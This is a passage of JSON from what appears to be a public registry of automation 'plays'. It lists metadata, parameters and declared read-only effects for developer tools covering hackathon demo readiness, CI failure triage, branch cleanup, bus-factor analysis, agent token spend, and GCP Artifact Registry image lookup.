listing.","example":"12"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6f264a713d3cf643a04afdc1707ea99d1e397a69b6eb2fd4a6bb82d2d4530c2d","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":8,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/demo-readiness@0.1.2","reference":"lgoyal6/demo-readiness@0.1.2","uri":"https://play.modiqo.ai/lgoyal6/demo-readiness@0.1.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/demo-readiness@0.1.2","name":"demo-readiness","title":"demo-readiness","description":"A judge does not read your code, they watch your demo. A demo that needs a live API key, a seeded database or a service you forgot to document dies on stage. This asks whether a stranger could demo your repository in three minutes from a clean clone with no help from you, and reports everything the demo path depends on that the repository does not provide, ranked by what kills a demo soonest: a documented demo command whose entrypoint does not resolve; a database or queue the repository never starts and has no fallback for; a credential read with no offline path; a fixture path no seed script creates; no way to reset a stateful demo between attempts; and no recorded video or gif to fall back on. A repository with no documented entrypoint is an honest absence, never demo-ready. Decoys are suppressed with reasons: a service its own compose file provides, a documented offline fallback, seed data a migration creates. Needs python3, bash and git.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-hackathon-demo-readiness","tool-git","effect-read-only","hackathon","demo-day","submission-readiness","entrypoint-resolution","seed-data","credential-fallback","reset-path","recorded-fallback","audience-hackathon-builders","audience-job-seekers","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.2","published_at":"2026-09-06T00:59:43.571474+00:00","visibility":"public","quality_score":1,"size_bytes":45359,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to a directory holding cloned repositories, or to one repository. A relative path is refused with exit 2, because a step runs in rote's own workspace rather than your shell directory and would scan the wrong tree and report it as your answer.","example":"/Users/you/hackathon"},{"name":"depth","type":"string","required":false,"default":"4","description":"How many directory levels below root to look for repositories. 1 finds root itself when root is a clone. Must be 1 to 8.","example":"4"},{"name":"max_files","type":"string","required":false,"default":"4000","description":"Cap on interesting files read per repository. A repository whose read hits the cap is marked so a partial scan is never reported as a clean one.","example":"4000"},{"name":"top","type":"string","required":false,"default":"8","description":"How many full finding entries to print before the rest become a one-line index. Every finding is still analysed, verified and counted.","example":"8"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7507065972bf95352f6a479035483713860cf1d73c8bf673da76bdca70e3a490","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":8,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/deadline-triage@0.1.2","reference":"lgoyal6/deadline-triage@0.1.2","uri":"https://play.modiqo.ai/lgoyal6/deadline-triage@0.1.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/deadline-triage@0.1.2","name":"deadline-triage","title":"deadline-triage","description":"The deadline is hours away and you have four half-finished repositories. Which one is closest to being submitted, and what is the single next thing to do to it? Point this at a root and it ranks every candidate by submittability. Is the work actually SAVED - checked first and scored highest, because a submission cannot include what was never committed or pushed. Does a documented entrypoint resolve, following an included Makefile or a pnpm workspace reference, versus one the README promises and nothing defines. Is there anything to show a judge - a demo URL, a screenshot, a recording. Is there a LICENSE. The score is 100 minus a weighted deduction, so the top entry is the one closest to finished, not the one with the nearest deadline: this play never reads or asks for one. A repository it could not fully read is listed as unverifiable by name, never scored as clean. No network, no build, no test, no entrypoint executed, not even --help. Read-only git queries only. Needs python3, bash and git.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-hackathon-submission-triage","tool-git","effect-read-only","hackathon","deadline","triage","submittability","entrypoint-resolution","unpushed-work","uncommitted-changes","demo-readiness","claim-evidence","audience-hackathon-builders","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.2","published_at":"2026-09-06T00:59:41.441886+00:00","visibility":"public","quality_score":1,"size_bytes":44428,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to a directory holding cloned repositories, or to one repository. A relative path is refused with exit 2, because a step runs in rote's own workspace rather than your shell directory and would scan the wrong tree and rank it as your answer.","example":"/Users/you/hackathon"},{"name":"depth","type":"string","required":false,"default":"4","description":"How many directory levels below root to look for repositories. 1 finds root itself when root is a clone. Must be 1 to 8.","example":"4"},{"name":"top","type":"string","required":false,"default":"5","description":"How many full entries to print before the rest become a one-line index. Every candidate is still analysed, verified and counted.","example":"5"},{"name":"max_files","type":"string","required":false,"default":"4000","description":"Cap on interesting files read per repository. A repository whose inventory hits the cap is marked so a partial read is never reported as a clean one.","example":"4000"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:83e29d01833170f449a5c1ff4a79c6781f36a95c7cec4efb87a85960c90ec5dc","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":8,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/contribution-target@0.1.3","reference":"lgoyal6/contribution-target@0.1.3","uri":"https://play.modiqo.ai/lgoyal6/contribution-target@0.1.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/contribution-target@0.1.3","name":"contribution-target","title":"contribution-target","description":"You want an open-source contribution you can actually land this weekend, and browsing \"good first issue\" gives you a list, not a shortlist. This walks every git repository already on your disk, finds small self-contained defects that are objectively BROKEN rather than merely smelly, and ranks them by how likely a patch is to be MERGED. Seven signals, each a concrete fix: a GNU-only flag that breaks a script on macOS, decided by reading the script and never by running the tool; a CI expression reading `steps.<id>.outputs` in a job where no step carries that id; an env var CI declares under one spelling and the code reads under another; a shell construct that swallows failure; a documented make target the manifest never defines; a doc link to a file no longer in the tree; a manifest with no lockfile. No network, no issue lookup. Never writes into a repository. Needs python3, bash and git.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-open-source-contribution-shortlist","tool-git","effect-read-only","open-source","first-contribution","good-first-issue","mergeable-patch","gnu-only-flags","macos-portability","shell-portability","env-var-mismatch","broken-make-target","small-fix","weekend-project","audience-oss-contributors","audience-job-seekers","audience-hackathon-builders","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.3","published_at":"2026-09-06T00:59:34.855858+00:00","visibility":"public","quality_score":1,"size_bytes":53281,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to a directory holding cloned repositories, or to one repository. A relative path is refused with exit 2, because a step runs in rote's own workspace rather than your shell directory and would scan the wrong tree and rank it as your answer.","example":"/Users/you/oss"},{"name":"depth","type":"string","required":false,"default":"4","description":"How many directory levels below root to look for repositories. 1 finds root itself when root is a clone. Must be 1 to 8.","example":"4"},{"name":"own_owners","type":"string","required":false,"default":"","description":"Comma-separated forge owners that are YOURS, so their repositories are excluded with a reason instead of ranked. Leave empty and the only own-origin test is whether every recent commit carries this machine's own configured git identity.","example":"yourhandle,yourorg"},{"name":"top","type":"string","required":false,"default":"5","description":"How many full candidate entries to print before the rest become a one-line index. Every candidate is still analysed, verified and counted.","example":"5"},{"name":"max_files","type":"string","required":false,"default":"4000","description":"Cap on interesting files read per repository. A repository whose inventory hits the cap is marked so a partial read is never reported as a clean one.","example":"4000"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:cfc8639b59fa7783f4f9becb19d66f10c775e08eae0a3c3f40eaecbd990ca734","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":8,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/ci-failure-triage@0.1.2","reference":"lgoyal6/ci-failure-triage@0.1.2","uri":"https://play.modiqo.ai/lgoyal6/ci-failure-triage@0.1.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/ci-failure-triage@0.1.2","name":"ci-failure-triage","title":"ci-failure-triage","description":"Your CI failed. What broke, and what is the shortest fix - answered from what is already on this disk, with no network call and no re-run. The primary evidence is the gh CLI's own run-log cache, read with stdlib zipfile rather than by shelling out; then a locally committed junit.xml or test-results directory; then the workflow definition, only to name which job a failure belongs to. Each failing job is classified into the fastest-to-know class first: a missing tool, a dependency resolution failure, a test assertion (quoted), a timeout, an OOM or disk-full kill, an auth failure named by secret NAME. Anything matching none of these is reported UNKNOWN by step name rather than forced into a class. The most valuable classification is FLAKY: the same job failing and passing across cached runs, reported with its rate, because that one says do not chase this. BROKEN, where every cached run failed, is kept separate. Quoted lines are redacted by construction. Needs python3 only.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-ci-failure-triage","ci","github-actions","ci-failure","flaky-tests","log-analysis","root-cause","gh-cli","secret-redaction","audience-developers","audience-devops","audience-sre","read-only","offline","no-network","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.2","published_at":"2026-09-06T00:59:25.72081+00:00","visibility":"public","quality_score":1,"size_bytes":29737,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":false,"default":"","description":"ABSOLUTE path to a repository whose workflow definitions and local CI artifacts (junit.xml, coverage, test-results/) should be correlated as secondary evidence. Leave empty to mine only the gh cache. A relative path is refused with exit 2, because a step runs in rote's own workspace rather than your shell directory and would scan the wrong tree.","example":"/Users/you/your-repo"},{"name":"max_zips","type":"string","required":false,"default":"80","description":"Cap on how many most-recent run-log archives to mine from the gh cache, newest by mtime first. Every archive beyond the cap is counted as not-selected, never silently dropped from the report.","example":"80"},{"name":"top","type":"string","required":false,"default":"8","description":"How many findings to print in full per class before the rest are counted only. Every finding is still analysed and independently re-verified.","example":"8"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:eb5c31a4a8f2aa20c8fcdf159f26b33b692561635a89b49637a36434f2662c73","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":3,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/ci-blindspot@0.1.3","reference":"lgoyal6/ci-blindspot@0.1.3","uri":"https://play.modiqo.ai/lgoyal6/ci-blindspot@0.1.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/ci-blindspot@0.1.3","name":"ci-blindspot","title":"ci-blindspot","description":"A `paths:` filter is a promise that some code is not worth testing. This finds the code that promise silently covers: which tracked files sit outside every automatically-triggered CI job's reach, so a change there ships green with no check having run. Every workflow is read TOGETHER, not one at a time - a directory one workflow ignores but another covers is not a blind spot; the blind spot is what NONE of them touch - against GitHub's own documented filter grammar, including the rules people get wrong: `**` crosses directory boundaries and a bare `*` does not, a slash-free pattern like `*.js` matches only the repository root, and the LAST matching pattern wins. The headline is the fraction of tracked source files reachable by at least one automatic trigger. A repository with no workflows is reported as an honest absence, not as 0% coverage: those are different statements. Executes nothing; one `git ls-files` per repository. Needs python3, bash and git.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-ci-path-coverage-audit","tool-github-actions","effect-read-only","ci-blind-spot","path-filter","paths-ignore","workflow-dispatch","continue-on-error","skip-ci","glob-semantics","untested-directory","coverage-fraction","audience-developers","audience-maintainers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.3","published_at":"2026-09-06T00:59:23.7672+00:00","visibility":"public","quality_score":1,"size_bytes":39273,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to search for git repositories. A relative path is refused, because a step runs in rote's own workspace rather than your shell directory and would scan the wrong tree and report it clean.","example":"/Users/you"},{"name":"depth","type":"string","required":false,"default":"3","description":"How many directory levels below root to look for repositories (a .git entry)","example":"3"},{"name":"top","type":"string","required":false,"default":"12","description":"How many findings and how many unreachable-directory rows to print per section before the rest are summarised as a count","example":"12"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:046829da28fa2964ba6ef2e599bf8d93ddfbbb3495324906ca0c4da7ab80d2e7","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":1,"fan_out":8,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/bus-factor-one@0.1.3","reference":"lgoyal6/bus-factor-one@0.1.3","uri":"https://play.modiqo.ai/lgoyal6/bus-factor-one@0.1.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/bus-factor-one@0.1.3","name":"bus-factor-one","title":"bus-factor-one","description":"In every repository there is code exactly one person has ever touched, and nobody knows which files those are until that person leaves. This sweeps every git repository under an absolute root for the single-owner surface, then intersects it with what is load-bearing, because a single-owner file nothing imports is trivia. Ranking is mostly by how many other files RESOLVE an import to this one - which is the hard part, and the reason to trust the number. Grepping for a file base name is the obvious method and it is wrong: measured on 100 repositories here, a base-name search claims 15,424 referrers where real resolution finds 5,980, a 2.58x inflation, and 150 hand-classified extra hits were wrong every time. A shallow clone makes five authors read as one, so it is detected and labelled rather than reported. Identities are merged first by four separately counted rules; no email address is ever printed. Read-only: every git call passes a query allow-list. Needs git, python3 and bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-risk-review","tool-git","effect-read-only","bus-factor","code-ownership","knowledge-silo","single-author","import-graph","dependency-centrality","git-blame","identity-resolution","mailmap","onboarding","offboarding","audience-developers","audience-maintainers","audience-engineering-managers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.3","published_at":"2026-09-06T00:59:19.498204+00:00","visibility":"public","quality_score":1,"size_bytes":60335,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the directory holding your repositories. A relative path is refused with an actionable message, because a step runs in rote's own workspace rather than your shell directory and would walk the wrong tree and report it clean.","example":"/Users/you/code"},{"name":"depth","type":"string","required":false,"default":"4","description":"How many directory levels below root to search for repositories. 1 finds root itself when root is a repository. A directory that IS a repository is never descended into.","example":"4"},{"name":"dominance_pct","type":"string","required":false,"default":"90","description":"The share of SURVIVING lines one author must hold before a multi-author file counts as line-dominant. Files whose entire history has one author are reported regardless of this. Must be 99 or less.","example":"90"},{"name":"recent_days","type":"string","required":false,"default":"90","description":"What counts as recently changed, for the recency term of the importance score. Recency ranks a finding, it never qualifies one: on a fresh repository every file is recent, so gating on it admits the whole tree.","example":"180"},{"name":"top","type":"string","required":false,"default":"10","description":"How many findings to print in full, per list, before the rest become one line each. Every finding is still ranked and still in the JSON result.","example":"10"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2a94d41d7bf29982bd80ddea4789bf5bb29c9aa77b2463683265489b157f617c","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":8,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/branch-debt@0.1.2","reference":"lgoyal6/branch-debt@0.1.2","uri":"https://play.modiqo.ai/lgoyal6/branch-debt@0.1.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/branch-debt@0.1.2","name":"branch-debt","title":"branch-debt","description":"`git branch` prints names. It does not tell you which of those branches still hold work you would lose by deleting them, and `git branch --merged` will not tell you either: it asks whether the tip is an ancestor of the base, which is false after every rebase, cherry-pick and squash. In a repository that does not use merge commits it calls work that shipped weeks ago unmerged forever. This walks every repository under an absolute root and decides containment structurally instead: reachability, then `git patch-id --stable` per commit, then the patch-id of the branch's whole diff against its merge-base, which catches a squash that no per-commit patch-id can match. Measured here: 908 branches across 152 repositories, 510 of them ahead of their default branch and all called unmerged by git. The structural passes moved 310 of those (60.8%) into \"already landed\", leaving 11 distinct commits, held by 19 branches, actually at risk of loss. Needs git, python3 and bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-branch-cleanup","tool-git","effect-read-only","branch-lifecycle","patch-id","rebase-detection","squash-merge","cherry-pick","stale-branch","gone-upstream","merged-branch","safe-to-delete","work-at-risk","audience-developers","audience-maintainers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.2","published_at":"2026-09-06T00:59:12.270541+00:00","visibility":"public","quality_score":1,"size_bytes":38987,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the directory holding your repositories. A relative path is refused with an actionable message, because a step runs in rote's own workspace rather than your shell directory and would walk the wrong tree and report it clean.","example":"/Users/you/code"},{"name":"depth","type":"string","required":false,"default":"4","description":"How many directory levels below root to search for repositories. 1 finds root itself when root is a repository. A directory that IS a repository is never descended into.","example":"4"},{"name":"stale_days","type":"string","required":false,"default":"90","description":"How old a branch tip must be before the branch is called dormant. Dormancy is reported alongside a verdict, never instead of one, and is UNAVAILABLE in a shallow clone, where every commit shares one synthetic date.","example":"180"},{"name":"top","type":"string","required":false,"default":"12","description":"How many at-risk branches to print in full before the rest become a one-line index. Every branch is still classified and still counted.","example":"12"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:eb653ddec695a882d31f81809b7b4cee55c371fed84f4f6b8c1d770612f303e7","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":8,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/agent-spend-ledger@0.1.3","reference":"lgoyal6/agent-spend-ledger@0.1.3","uri":"https://play.modiqo.ai/lgoyal6/agent-spend-ledger@0.1.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/agent-spend-ledger@0.1.3","name":"agent-spend-ledger","title":"agent-spend-ledger","description":"Your coding sessions already wrote down every token they used, but the record is per-request and unreadable, so nobody reads it and nobody knows which project the money went to. This reconciles those local transcripts into a per-project, per-model ledger: spend by project with session count and date range, spend by model with the cache-read share called out, your most expensive individual sessions, and cache efficiency per project - because a project sitting at 5% is paying full price for context it could be reusing. The number it exists to get right is the total. One API request writes several records and a resumed session copies records between files, so a naive sum double-counts badly: measured here, 96,792 records held 45,781 distinct requests and the naive sum came out 2.08x the truth. Tokens are the default output because tokens are what the transcripts prove; dollars are strictly opt-in from a price table that prints its own as-of date. Needs only python3 and bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-observability","engineering-workflows","job-agent-spend-attribution","tool-claude-code","effect-read-only","agent-spend","token-usage","llm-cost","cost-attribution","per-project-spend","per-model-spend","cache-efficiency","session-transcripts","double-counting","request-id-dedup","coding-agent","spend-ledger","audience-developers","audience-founders","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-observability","author":"lgoyal6","version":"0.1.3","published_at":"2026-09-06T00:59:02.866104+00:00","visibility":"public","quality_score":1,"size_bytes":37856,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to your harness session store, the directory holding per-project transcript folders","example":"/Users/you/.claude/projects"},{"name":"window_days","type":"string","required":false,"default":"0","description":"Only count transcripts modified in the last N days. 0 means no window at all, covering everything on disk, which is the default because a full pass measured 951MB in about 2 seconds","example":"30"},{"name":"prices","type":"string","required":false,"default":"off","description":"off for tokens only (the default, because tokens are what the transcripts prove); bundled to cost the ledger with the packaged table, which prints its as-of date beside every dollar figure; or an ABSOLUTE path to your own JSON price table carrying its own as_of","example":"/Users/you/my-prices.json"},{"name":"top_sessions","type":"string","required":false,"default":"5","description":"How many of the most expensive sessions the verify stage re-reads from disk and re-derives independently","example":"8"},{"name":"full_paths","type":"string","required":false,"default":"false","description":"Set true to print the full encoded project directory name instead of just its last segment. Off by default because a directory name can reveal an employer or an unannounced project","example":"true"},{"name":"reconcile","type":"string","required":false,"default":"auto","description":"auto to look for an existing local spend ledger and report whether it agrees with this one, because a second number that quietly disagrees with the tool you already trust is worse than no number; off to skip; or an ABSOLUTE path to a ledger snapshot. Reads only its usage totals, never any mail-derived content it may also carry","example":"/Users/you/.devspend/snapshot.json"},{"name":"max_shards","type":"string","required":false,"default":"12","description":"How many parallel shards to split the corpus into. Shards are split by project directory, never mid-project, so deduplication always sees every copy of a request","example":"8"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:906d658207f26cc407d070abd5cc8759f3e5308c17987b9a473be33726cfec02","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":12,"for_each_steps":1,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rusty-chirag/fetch-artifact-registry-image-information@0.0.2","reference":"rusty-chirag/fetch-artifact-registry-image-information@0.0.2","uri":"https://play.modiqo.ai/rusty-chirag/fetch-artifact-registry-image-information@0.0.2","manifest_uri":"https://play.modiqo.ai/rusty-chirag/fetch-artifact-registry-image-information@0.0.2","name":"fetch-artifact-registry-image-information","title":"fetch-artifact-registry-image-information","description":"Fetches an Artifact Registry image and returns its metadata, including URI, digest, creation/update times, size, manifest/media type, platform information, and associated tags.","owner":{"kind":"user","slug":"rusty-chirag"},"registry_organization":"rusty-chirag","tags":["typescript","artifact-registry","gcp","google-cloud","container-images"],"primary_domain":"domain-uncategorized","author":"rusty-chirag","version":"0.0.2","published_at":"2026-09-05T22:18:45.508457+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":4857,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":6,"names":["get_tag","get_version","extract_image","extract_digest","get_docker_image","auth_artifact_registry_api_v1"]},"parameters":[{"name":"project_id","type":"string","required":true,"description":"Google Cloud Project ID","example":"my-gcp-project"},{"name":"location","type":"string","required":true,"description":"Artifact Registry repository location (e.g. us-central1)","example":"us-central1"},{"name":"repository","type":"string","required":true,"description":"Artifact Registry repository name","example":"container-registry"},{"name":"image_name","type":"string","required":true,"description":"Image or package name","example":"web-service"},{"name":"version_tag","type":"string","required":true,"description":"Image version tag (e.g. v1.0.0)","example":"v1.0.0"}],"execution":{"adapters":[{"id":"rusty-chirag/artifact-registry-api-v1","name":"artifact-registry-api-v1","version":null,"credential_status":"required"},{"id":"artifact-registry-api-v1","name":"artifact-registry-api-v1","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f49b7b56aa0a249e532e25cc9e1216272ddcfa2e44b18d4d03b67b43bff45109","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":3,"shell":2,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":4,"width":2,"fan_out":0,"for_each_steps":0,"complexity":12,"apis":[{"adapter":"artifact-registry-api-v1","steps":4,"methods":["artifactregistry.projects.locations.repositories.dockerImages.get","artifactregistry.projects.locations.repositories.packages.tags.get","artifactregistry.projects.locations.repositories.packages.versions.get"],"display_name":"artifact-registry-api-v1","host":"artifactregistry.googleapis.com","kind":"rest","tools":69,"fingerprint":"mcp_3hkVf6RvzgC2eyMraUEVnK1q65iu","source":"rusty-chirag/artifact-registry-api-v1","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":69},"cost":{"api_tokens":8362,"context_tokens":1616,"exploration_ms":15500,"saved_per_run":null},"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/dhiran4/expo-ship-doctor@0.1.1","reference":"dhiran4/expo-ship-doctor@0.1.1","uri":"https://play.modiqo.ai/dhiran